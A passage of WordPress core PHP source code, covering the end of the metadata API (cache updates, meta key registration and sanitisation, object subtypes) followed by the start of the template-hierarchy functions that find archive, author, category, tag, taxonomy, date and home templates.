do_action( "delete_{$meta_type}meta", $meta_id );
}
// Run the query, will return true if deleted, false otherwise.
$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );
// Clear the caches.
wp_cache_delete( $object_id, $meta_type . '_meta' );
/** This action is documented in wp-includes/meta.php */
do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );
// Old-style action.
if ( 'post' === $meta_type || 'comment' === $meta_type ) {
/**
* Fires immediately after deleting post or comment metadata of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta
* object type (post or comment).
*
* Possible hook names include:
*
* - `deleted_postmeta`
* - `deleted_commentmeta`
* - `deleted_termmeta`
* - `deleted_usermeta`
*
* @since 3.4.0
*
* @param int $meta_id Deleted metadata entry ID.
*/
do_action( "deleted_{$meta_type}meta", $meta_id );
}
return $result;
}
// Meta ID was not found.
return false;
}
/**
* Updates the metadata cache for the specified objects.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string|int[] $object_ids Array or comma delimited list of object IDs to update cache for.
* @return array|false Metadata cache for the specified objects, or false on failure.
*/
function update_meta_cache( $meta_type, $object_ids ) {
global $wpdb;
if ( ! $meta_type || ! $object_ids ) {
return false;
}
$table = _get_meta_table( $meta_type );
if ( ! $table ) {
return false;
}
$column = sanitize_key( $meta_type . '_id' );
if ( ! is_array( $object_ids ) ) {
$object_ids = preg_replace( '|[^0-9,]|', '', $object_ids );
$object_ids = explode( ',', $object_ids );
}
$object_ids = array_map( 'intval', $object_ids );
/**
* Short-circuits updating the metadata cache of a specific type.
*
* The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
* Returning a non-null value will effectively short-circuit the function.
*
* Possible hook names include:
*
* - `update_post_metadata_cache`
* - `update_comment_metadata_cache`
* - `update_term_metadata_cache`
* - `update_user_metadata_cache`
*
* @since 5.0.0
*
* @param mixed $check Whether to allow updating the meta cache of the given type.
* @param int[] $object_ids Array of object IDs to update the meta cache for.
*/
$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
if ( null !== $check ) {
return (bool) $check;
}
$cache_key = $meta_type . '_meta';
$non_cached_ids = array();
$cache = array();
$cache_values = wp_cache_get_multiple( $object_ids, $cache_key );
foreach ( $cache_values as $id => $cached_object ) {
if ( false === $cached_object ) {
$non_cached_ids[] = $id;
} else {
$cache[ $id ] = $cached_object;
}
}
if ( empty( $non_cached_ids ) ) {
return $cache;
}
// Get meta info.
$id_list = implode( ',', $non_cached_ids );
$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';
$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );
if ( ! empty( $meta_list ) ) {
foreach ( $meta_list as $metarow ) {
$mpid = (int) $metarow[ $column ];
$mkey = $metarow['meta_key'];
$mval = $metarow['meta_value'];
// Force subkeys to be array type.
if ( ! isset( $cache[ $mpid ] ) || ! is_array( $cache[ $mpid ] ) ) {
$cache[ $mpid ] = array();
}
if ( ! isset( $cache[ $mpid ][ $mkey ] ) || ! is_array( $cache[ $mpid ][ $mkey ] ) ) {
$cache[ $mpid ][ $mkey ] = array();
}
// Add a value to the current pid/key.
$cache[ $mpid ][ $mkey ][] = $mval;
}
}
$data = array();
foreach ( $non_cached_ids as $id ) {
if ( ! isset( $cache[ $id ] ) ) {
$cache[ $id ] = array();
}
$data[ $id ] = $cache[ $id ];
}
wp_cache_add_multiple( $data, $cache_key );
return $cache;
}
/**
* Retrieves the queue for lazy-loading metadata.
*
* @since 4.5.0
*
* @return WP_Metadata_Lazyloader Metadata lazyloader queue.
*/
function wp_metadata_lazyloader() {
static $wp_metadata_lazyloader;
if ( null === $wp_metadata_lazyloader ) {
$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
}
return $wp_metadata_lazyloader;
}
/**
* Given a meta query, generates SQL clauses to be appended to a main query.
*
* @since 3.2.0
*
* @see WP_Meta_Query
*
* @param array $meta_query A meta query.
* @param string $type Type of meta.
* @param string $primary_table Primary database table name.
* @param string $primary_id_column Primary ID column name.
* @param object $context Optional. The main query object. Default null.
* @return string[]|false {
* Array containing JOIN and WHERE SQL clauses to append to the main query,
* or false if no table exists for the requested meta type.
*
* @type string $join SQL fragment to append to the main JOIN clause.
* @type string $where SQL fragment to append to the main WHERE clause.
* }
*/
function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
$meta_query_obj = new WP_Meta_Query( $meta_query );
return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
}
/**
* Retrieves the name of the metadata table for the specified object type.
*
* @since 2.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @return string|false Metadata table name, or false if no metadata table exists
*/
function _get_meta_table( $type ) {
global $wpdb;
$table_name = $type . 'meta';
if ( empty( $wpdb->$table_name ) ) {
return false;
}
return $wpdb->$table_name;
}
/**
* Determines whether a meta key is considered protected.
*
* @since 3.1.3
*
* @param string $meta_key Metadata key.
* @param string $meta_type Optional. Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table. Default empty string.
* @return bool Whether the meta key is considered protected.
*/
function is_protected_meta( $meta_key, $meta_type = '' ) {
$sanitized_key = preg_replace( "/[^\x20-\x7E\p{L}]/", '', $meta_key );
$protected = strlen( $sanitized_key ) > 0 && ( '_' === $sanitized_key[0] );
/**
* Filters whether a meta key is considered protected.
*
* @since 3.2.0
*
* @param bool $protected Whether the key is considered protected.
* @param string $meta_key Metadata key.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}
/**
* Sanitizes meta value.
*
* @since 3.1.3
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value to sanitize.
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $object_subtype Optional. The subtype of the object type. Default empty string.
* @return mixed Sanitized $meta_value.
*/
function sanitize_meta( $meta_key, $meta_value, $object_type, $object_subtype = '' ) {
if ( ! empty( $object_subtype ) && has_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) {
/**
* Filters the sanitization of a specific meta key of a specific meta type and subtype.
*
* The dynamic portions of the hook name, `$object_type`, `$meta_key`,
* and `$object_subtype`, refer to the metadata object type (comment, post, term, or user),
* the meta key value, and the object subtype respectively.
*
* @since 4.9.8
*
* @param mixed $meta_value Metadata value to sanitize.
* @param string $meta_key Metadata key.
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $object_subtype Object subtype.
*/
return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $meta_value, $meta_key, $object_type, $object_subtype );
}
/**
* Filters the sanitization of a specific meta key of a specific meta type.
*
* The dynamic portions of the hook name, `$meta_type`, and `$meta_key`,
* refer to the metadata object type (comment, post, term, or user) and the meta
* key value, respectively.
*
* @since 3.3.0
*
* @param mixed $meta_value Metadata value to sanitize.
* @param string $meta_key Metadata key.
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
*/
return apply_filters( "sanitize_{$object_type}_meta_{$meta_key}", $meta_value, $meta_key, $object_type );
}
/**
* Registers a meta key.
*
* It is recommended to register meta keys for a specific combination of object type and object subtype. If passing
* an object subtype is omitted, the meta key will be registered for the entire object type, however it can be partly
* overridden in case a more specific meta key of the same name exists for the same object type and a subtype.
*
* If an object type does not support any subtypes, such as users or comments, you should commonly call this function
* without passing a subtype.
*
* @since 3.3.0
* @since 4.6.0 {@link https://core.trac.wordpress.org/ticket/35658 Modified
* to support an array of data to attach to registered meta keys}. Previous arguments for
* `$sanitize_callback` and `$auth_callback` have been folded into this array.
* @since 4.9.8 The `$object_subtype` argument was added to the arguments array.
* @since 5.3.0 Valid meta types expanded to include "array" and "object".
* @since 5.5.0 The `$default` argument was added to the arguments array.
* @since 6.4.0 The `$revisions_enabled` argument was added to the arguments array.
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_key Meta key to register.
* @param array $args {
* Data used to describe the meta key when registered.
*
* @type string $object_subtype A subtype; e.g. if the object type is "post", the post type. If left empty,
* the meta key will be registered on the entire object type. Default empty.
* @type string $type The type of data associated with this meta key.
* Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'.
* @type string $description A description of the data attached to this meta key.
* @type bool $single Whether the meta key has one value per object, or an array of values per object.
* @type mixed $default The default value returned from get_metadata() if no value has been set yet.
* When using a non-single meta key, the default value is for the first entry.
* In other words, when calling get_metadata() with `$single` set to `false`,
* the default value given here will be wrapped in an array.
* @type callable $sanitize_callback A function or method to call when sanitizing `$meta_key` data.
* @type callable $auth_callback Optional. A function or method to call when performing edit_post_meta,
* add_post_meta, and delete_post_meta capability checks.
* @type bool|array $show_in_rest Whether data associated with this meta key can be considered public and
* should be accessible via the REST API. A custom post type must also declare
* support for custom fields for registered meta to be accessible via REST.
* When registering complex meta values this argument may optionally be an
* array with 'schema' or 'prepare_callback' keys instead of a boolean.
* @type bool $revisions_enabled Whether to enable revisions support for this meta_key. Can only be used when the
* object type is 'post'.
* }
* @param string|array $deprecated Deprecated. Use `$args` instead.
* @return bool True if the meta key was successfully registered in the global array, false if not.
* Registering a meta key with distinct sanitize and auth callbacks will fire those callbacks,
* but will not add to the global registry.
*/
function register_meta( $object_type, $meta_key, $args, $deprecated = null ) {
global $wp_meta_keys;
if ( ! is_array( $wp_meta_keys ) ) {
$wp_meta_keys = array();
}
$defaults = array(
'object_subtype' => '',
'type' => 'string',
'description' => '',
'default' => '',
'single' => false,
'sanitize_callback' => null,
'auth_callback' => null,
'show_in_rest' => false,
'revisions_enabled' => false,
);
// There used to be individual args for sanitize and auth callbacks.
$has_old_sanitize_cb = false;
$has_old_auth_cb = false;
if ( is_callable( $args ) ) {
$args = array(
'sanitize_callback' => $args,
);
$has_old_sanitize_cb = true;
} else {
$args = (array) $args;
}
if ( is_callable( $deprecated ) ) {
$args['auth_callback'] = $deprecated;
$has_old_auth_cb = true;
}
/**
* Filters the registration arguments when registering meta.
*
* @since 4.6.0
*
* @param array $args Array of meta registration arguments.
* @param array $defaults Array of default arguments.
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_key Meta key.
*/
$args = apply_filters( 'register_meta_args', $args, $defaults, $object_type, $meta_key );
unset( $defaults['default'] );
$args = wp_parse_args( $args, $defaults );
// Require an item schema when registering array meta.
if ( false !== $args['show_in_rest'] && 'array' === $args['type'] ) {
if ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) {
_doing_it_wrong( __FUNCTION__, __( 'When registering an "array" meta type to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.3.0' );
return false;
}
}
$object_subtype = ! empty( $args['object_subtype'] ) ? $args['object_subtype'] : '';
if ( $args['revisions_enabled'] ) {
if ( 'post' !== $object_type ) {
_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object type supports revisions.' ), '6.4.0' );
return false;
} elseif ( ! empty( $object_subtype ) && ! post_type_supports( $object_subtype, 'revisions' ) ) {
_doing_it_wrong( __FUNCTION__, __( 'Meta keys cannot enable revisions support unless the object subtype supports revisions.' ), '6.4.0' );
return false;
}
}
// If `auth_callback` is not provided, fall back to `is_protected_meta()`.
if ( empty( $args['auth_callback'] ) ) {
if ( is_protected_meta( $meta_key, $object_type ) ) {
$args['auth_callback'] = '__return_false';
} else {
$args['auth_callback'] = '__return_true';
}
}
// Back-compat: old sanitize and auth callbacks are applied to all of an object type.
if ( is_callable( $args['sanitize_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
add_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'], 10, 4 );
} else {
add_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'], 10, 3 );
}
}
if ( is_callable( $args['auth_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
add_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'], 10, 6 );
} else {
add_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'], 10, 6 );
}
}
if ( array_key_exists( 'default', $args ) ) {
$schema = $args;
if ( is_array( $args['show_in_rest'] ) && isset( $args['show_in_rest']['schema'] ) ) {
$schema = array_merge( $schema, $args['show_in_rest']['schema'] );
}
$check = rest_validate_value_from_schema( $args['default'], $schema );
if ( is_wp_error( $check ) ) {
_doing_it_wrong( __FUNCTION__, __( 'When registering a default meta value the data must match the type provided.' ), '5.5.0' );
return false;
}
if ( ! has_filter( "default_{$object_type}_metadata", 'filter_default_metadata' ) ) {
add_filter( "default_{$object_type}_metadata", 'filter_default_metadata', 10, 5 );
}
}
// Global registry only contains meta keys registered with the array of arguments added in 4.6.0.
if ( ! $has_old_auth_cb && ! $has_old_sanitize_cb ) {
unset( $args['object_subtype'] );
$wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] = $args;
return true;
}
return false;
}
/**
* Filters into default_{$object_type}_metadata and adds in default value.
*
* @since 5.5.0
*
* @param mixed $value Current value passed to filter.
* @param int $object_id ID of the object metadata is for.
* @param string $meta_key Metadata key.
* @param bool $single If true, return only the first value of the specified `$meta_key`.
* This parameter has no effect if `$meta_key` is not specified.
* @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @return mixed An array of default values if `$single` is false.
* The default value of the meta field if `$single` is true.
*/
function filter_default_metadata( $value, $object_id, $meta_key, $single, $meta_type ) {
global $wp_meta_keys;
if ( wp_installing() ) {
return $value;
}
if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $meta_type ] ) ) {
return $value;
}
$defaults = array();
foreach ( $wp_meta_keys[ $meta_type ] as $sub_type => $meta_data ) {
foreach ( $meta_data as $_meta_key => $args ) {
if ( $_meta_key === $meta_key && array_key_exists( 'default', $args ) ) {
$defaults[ $sub_type ] = $args;
}
}
}
if ( ! $defaults ) {
return $value;
}
// If this meta type does not have subtypes, then the default is keyed as an empty string.
if ( isset( $defaults[''] ) ) {
$metadata = $defaults[''];
} else {
$sub_type = get_object_subtype( $meta_type, $object_id );
if ( ! isset( $defaults[ $sub_type ] ) ) {
return $value;
}
$metadata = $defaults[ $sub_type ];
}
if ( $single ) {
$value = $metadata['default'];
} else {
$value = array( $metadata['default'] );
}
return $value;
}
/**
* Checks if a meta key is registered.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_key Metadata key.
* @param string $object_subtype Optional. The subtype of the object type. Default empty string.
* @return bool True if the meta key is registered to the object type and, if provided,
* the object subtype. False if not.
*/
function registered_meta_key_exists( $object_type, $meta_key, $object_subtype = '' ) {
$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );
return isset( $meta_keys[ $meta_key ] );
}
/**
* Unregisters a meta key from the list of registered keys.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $meta_key Metadata key.
* @param string $object_subtype Optional. The subtype of the object type. Default empty string.
* @return bool True if successful. False if the meta key was not registered.
*/
function unregister_meta_key( $object_type, $meta_key, $object_subtype = '' ) {
global $wp_meta_keys;
if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
return false;
}
$args = $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ];
if ( isset( $args['sanitize_callback'] ) && is_callable( $args['sanitize_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
remove_filter( "sanitize_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['sanitize_callback'] );
} else {
remove_filter( "sanitize_{$object_type}_meta_{$meta_key}", $args['sanitize_callback'] );
}
}
if ( isset( $args['auth_callback'] ) && is_callable( $args['auth_callback'] ) ) {
if ( ! empty( $object_subtype ) ) {
remove_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $args['auth_callback'] );
} else {
remove_filter( "auth_{$object_type}_meta_{$meta_key}", $args['auth_callback'] );
}
}
unset( $wp_meta_keys[ $object_type ][ $object_subtype ][ $meta_key ] );
// Do some clean up.
if ( empty( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
unset( $wp_meta_keys[ $object_type ][ $object_subtype ] );
}
if ( empty( $wp_meta_keys[ $object_type ] ) ) {
unset( $wp_meta_keys[ $object_type ] );
}
return true;
}
/**
* Retrieves a list of registered metadata args for an object type, keyed by their meta keys.
*
* @since 4.6.0
* @since 4.9.8 The `$object_subtype` parameter was added.
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param string $object_subtype Optional. The subtype of the object type. Default empty string.
* @return array[] List of registered metadata args, keyed by their meta keys.
*/
function get_registered_meta_keys( $object_type, $object_subtype = '' ) {
global $wp_meta_keys;
if ( ! is_array( $wp_meta_keys ) || ! isset( $wp_meta_keys[ $object_type ] ) || ! isset( $wp_meta_keys[ $object_type ][ $object_subtype ] ) ) {
return array();
}
return $wp_meta_keys[ $object_type ][ $object_subtype ];
}
/**
* Retrieves registered metadata for a specified object.
*
* The results include both meta that is registered specifically for the
* object's subtype and meta that is registered for the entire object type.
*
* @since 4.6.0
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object the metadata is for.
* @param string $meta_key Optional. Registered metadata key. If not specified, retrieve all registered
* metadata for the specified object.
* @return mixed A single value or array of values for a key if specified. An array of all registered keys
* and values for an object ID if not. False if a given $meta_key is not registered.
*/
function get_registered_metadata( $object_type, $object_id, $meta_key = '' ) {
$object_subtype = get_object_subtype( $object_type, $object_id );
if ( ! empty( $meta_key ) ) {
if ( ! empty( $object_subtype ) && ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
$object_subtype = '';
}
if ( ! registered_meta_key_exists( $object_type, $meta_key, $object_subtype ) ) {
return false;
}
$meta_keys = get_registered_meta_keys( $object_type, $object_subtype );
$meta_key_data = $meta_keys[ $meta_key ];
$data = get_metadata( $object_type, $object_id, $meta_key, $meta_key_data['single'] );
return $data;
}
$data = get_metadata( $object_type, $object_id );
if ( ! $data ) {
return array();
}
$meta_keys = get_registered_meta_keys( $object_type );
if ( ! empty( $object_subtype ) ) {
$meta_keys = array_merge( $meta_keys, get_registered_meta_keys( $object_type, $object_subtype ) );
}
return array_intersect_key( $data, $meta_keys );
}
/**
* Filters out `register_meta()` args based on an allowed list.
*
* `register_meta()` args may change over time, so requiring the allowed list
* to be explicitly turned off is a warranty seal of sorts.
*
* @access private
* @since 5.5.0
*
* @param array $args Arguments from `register_meta()`.
* @param array $default_args Default arguments for `register_meta()`.
* @return array Filtered arguments.
*/
function _wp_register_meta_args_allowed_list( $args, $default_args ) {
return array_intersect_key( $args, $default_args );
}
/**
* Returns the object subtype for a given object ID of a specific type.
*
* @since 4.9.8
*
* @param string $object_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
* or any other object type with an associated meta table.
* @param int $object_id ID of the object to retrieve its subtype.
* @return string The object subtype or an empty string if unspecified subtype.
*/
function get_object_subtype( $object_type, $object_id ) {
$object_id = (int) $object_id;
$object_subtype = '';
switch ( $object_type ) {
case 'post':
$post_type = get_post_type( $object_id );
if ( ! empty( $post_type ) ) {
$object_subtype = $post_type;
}
break;
case 'term':
$term = get_term( $object_id );
if ( ! $term instanceof WP_Term ) {
break;
}
$object_subtype = $term->taxonomy;
break;
case 'comment':
$comment = get_comment( $object_id );
if ( ! $comment ) {
break;
}
$object_subtype = 'comment';
break;
case 'user':
$user = get_user_by( 'id', $object_id );
if ( ! $user ) {
break;
}
$object_subtype = 'user';
break;
}
/**
* Filters the object subtype identifier for a non-standard object type.
*
* The dynamic portion of the hook name, `$object_type`, refers to the meta object type
* (post, comment, term, user, or any other type with an associated meta table).
*
* Possible hook names include:
*
* - `get_object_subtype_post`
* - `get_object_subtype_comment`
* - `get_object_subtype_term`
* - `get_object_subtype_user`
*
* @since 4.9.8
*
* @param string $object_subtype Empty string to override.
* @param int $object_id ID of the object to get the subtype for.
*/
return apply_filters( "get_object_subtype_{$object_type}", $object_subtype, $object_id );
}
/**
* Template loading functions.
*
* @package WordPress
* @subpackage Template
*/
/**
* Retrieves path to a template.
*
* Used to quickly retrieve the path of a template without including the file
* extension. It will also check the parent theme, if the file exists, with
* the use of locate_template(). Allows for more generic template location
* without the use of the other get_*_template() functions.
*
* @since 1.5.0
*
* @param string $type Filename without extension.
* @param string[] $templates An optional list of template candidates.
* @return string Full path to template file.
*/
function get_query_template( $type, $templates = array() ) {
$type = preg_replace( '|[^a-z0-9-]+|', '', $type );
if ( empty( $templates ) ) {
$templates = array( "{$type}.php" );
}
/**
* Filters the list of template filenames that are searched for when retrieving a template to use.
*
* The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
* extension and any non-alphanumeric characters delimiting words -- of the file to load.
* The last element in the array should always be the fallback template for this query type.
*
* Possible hook names include:
*
* - `404_template_hierarchy`
* - `archive_template_hierarchy`
* - `attachment_template_hierarchy`
* - `author_template_hierarchy`
* - `category_template_hierarchy`
* - `date_template_hierarchy`
* - `embed_template_hierarchy`
* - `frontpage_template_hierarchy`
* - `home_template_hierarchy`
* - `index_template_hierarchy`
* - `page_template_hierarchy`
* - `paged_template_hierarchy`
* - `privacypolicy_template_hierarchy`
* - `search_template_hierarchy`
* - `single_template_hierarchy`
* - `singular_template_hierarchy`
* - `tag_template_hierarchy`
* - `taxonomy_template_hierarchy`
*
* @since 4.7.0
*
* @param string[] $templates A list of template candidates, in descending order of priority.
*/
$templates = apply_filters( "{$type}_template_hierarchy", $templates );
$template = locate_template( $templates );
$template = locate_block_template( $template, $type, $templates );
/**
* Filters the path of the queried template by type.
*
* The dynamic portion of the hook name, `$type`, refers to the filename -- minus the file
* extension and any non-alphanumeric characters delimiting words -- of the file to load.
* This hook also applies to various types of files loaded as part of the Template Hierarchy.
*
* Possible hook names include:
*
* - `404_template`
* - `archive_template`
* - `attachment_template`
* - `author_template`
* - `category_template`
* - `date_template`
* - `embed_template`
* - `frontpage_template`
* - `home_template`
* - `index_template`
* - `page_template`
* - `paged_template`
* - `privacypolicy_template`
* - `search_template`
* - `single_template`
* - `singular_template`
* - `tag_template`
* - `taxonomy_template`
*
* @since 1.5.0
* @since 4.8.0 The `$type` and `$templates` parameters were added.
*
* @param string $template Path to the template. See locate_template().
* @param string $type Sanitized filename without extension.
* @param string[] $templates A list of template candidates, in descending order of priority.
*/
return apply_filters( "{$type}_template", $template, $type, $templates );
}
/**
* Retrieves path of index template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'index'.
*
* @since 3.0.0
*
* @see get_query_template()
*
* @return string Full path to index template file.
*/
function get_index_template() {
return get_query_template( 'index' );
}
/**
* Retrieves path of 404 template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is '404'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to 404 template file.
*/
function get_404_template() {
return get_query_template( '404' );
}
/**
* Retrieves path of archive template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to archive template file.
*/
function get_archive_template() {
$post_types = array_filter( (array) get_query_var( 'post_type' ) );
$templates = array();
if ( count( $post_types ) === 1 ) {
$post_type = reset( $post_types );
$templates[] = "archive-{$post_type}.php";
}
$templates[] = 'archive.php';
return get_query_template( 'archive', $templates );
}
/**
* Retrieves path of post type archive template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'archive'.
*
* @since 3.7.0
*
* @see get_archive_template()
*
* @return string Full path to archive template file.
*/
function get_post_type_archive_template() {
$post_type = get_query_var( 'post_type' );
if ( is_array( $post_type ) ) {
$post_type = reset( $post_type );
}
$obj = get_post_type_object( $post_type );
if ( ! ( $obj instanceof WP_Post_Type ) || ! $obj->has_archive ) {
return '';
}
return get_archive_template();
}
/**
* Retrieves path of author template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. author-{nicename}.php
* 2. author-{id}.php
* 3. author.php
*
* An example of this is:
*
* 1. author-john.php
* 2. author-1.php
* 3. author.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'author'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to author template file.
*/
function get_author_template() {
$author = get_queried_object();
$templates = array();
if ( $author instanceof WP_User ) {
$templates[] = "author-{$author->user_nicename}.php";
$templates[] = "author-{$author->ID}.php";
}
$templates[] = 'author.php';
return get_query_template( 'author', $templates );
}
/**
* Retrieves path of category template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. category-{slug}.php
* 2. category-{id}.php
* 3. category.php
*
* An example of this is:
*
* 1. category-news.php
* 2. category-2.php
* 3. category.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'category'.
*
* @since 1.5.0
* @since 4.7.0 The decoded form of `category-{slug}.php` was added to the top of the
* template hierarchy when the category slug contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to category template file.
*/
function get_category_template() {
$category = get_queried_object();
$templates = array();
if ( ! empty( $category->slug ) ) {
$slug_decoded = urldecode( $category->slug );
if ( $slug_decoded !== $category->slug ) {
$templates[] = "category-{$slug_decoded}.php";
}
$templates[] = "category-{$category->slug}.php";
$templates[] = "category-{$category->term_id}.php";
}
$templates[] = 'category.php';
return get_query_template( 'category', $templates );
}
/**
* Retrieves path of tag template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. tag-{slug}.php
* 2. tag-{id}.php
* 3. tag.php
*
* An example of this is:
*
* 1. tag-wordpress.php
* 2. tag-3.php
* 3. tag.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'tag'.
*
* @since 2.3.0
* @since 4.7.0 The decoded form of `tag-{slug}.php` was added to the top of the
* template hierarchy when the tag slug contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to tag template file.
*/
function get_tag_template() {
$tag = get_queried_object();
$templates = array();
if ( ! empty( $tag->slug ) ) {
$slug_decoded = urldecode( $tag->slug );
if ( $slug_decoded !== $tag->slug ) {
$templates[] = "tag-{$slug_decoded}.php";
}
$templates[] = "tag-{$tag->slug}.php";
$templates[] = "tag-{$tag->term_id}.php";
}
$templates[] = 'tag.php';
return get_query_template( 'tag', $templates );
}
/**
* Retrieves path of custom taxonomy term template in current or parent template.
*
* The hierarchy for this template looks like:
*
* 1. taxonomy-{taxonomy_slug}-{term_slug}.php
* 2. taxonomy-{taxonomy_slug}.php
* 3. taxonomy.php
*
* An example of this is:
*
* 1. taxonomy-location-texas.php
* 2. taxonomy-location.php
* 3. taxonomy.php
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'taxonomy'.
*
* @since 2.5.0
* @since 4.7.0 The decoded form of `taxonomy-{taxonomy_slug}-{term_slug}.php` was added to the top of the
* template hierarchy when the term slug contains multibyte characters.
*
* @see get_query_template()
*
* @return string Full path to custom taxonomy term template file.
*/
function get_taxonomy_template() {
$term = get_queried_object();
$templates = array();
if ( ! empty( $term->slug ) ) {
$taxonomy = $term->taxonomy;
$slug_decoded = urldecode( $term->slug );
if ( $slug_decoded !== $term->slug ) {
$templates[] = "taxonomy-$taxonomy-{$slug_decoded}.php";
}
$templates[] = "taxonomy-$taxonomy-{$term->slug}.php";
$templates[] = "taxonomy-$taxonomy.php";
}
$templates[] = 'taxonomy.php';
return get_query_template( 'taxonomy', $templates );
}
/**
* Retrieves path of date template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'date'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to date template file.
*/
function get_date_template() {
return get_query_template( 'date' );
}
/**
* Retrieves path of home template in current or parent template.
*
* The template hierarchy and template path are filterable via the {@see '$type_template_hierarchy'}
* and {@see '$type_template'} dynamic hooks, where `$type` is 'home'.
*
* @since 1.5.0
*
* @see get_query_template()
*
* @return string Full path to home template file.
*/
function get_home_template() {
$templates = array( 'home.php', 'index.php' );
return get_query_template( 'home', $templates );
}
/**
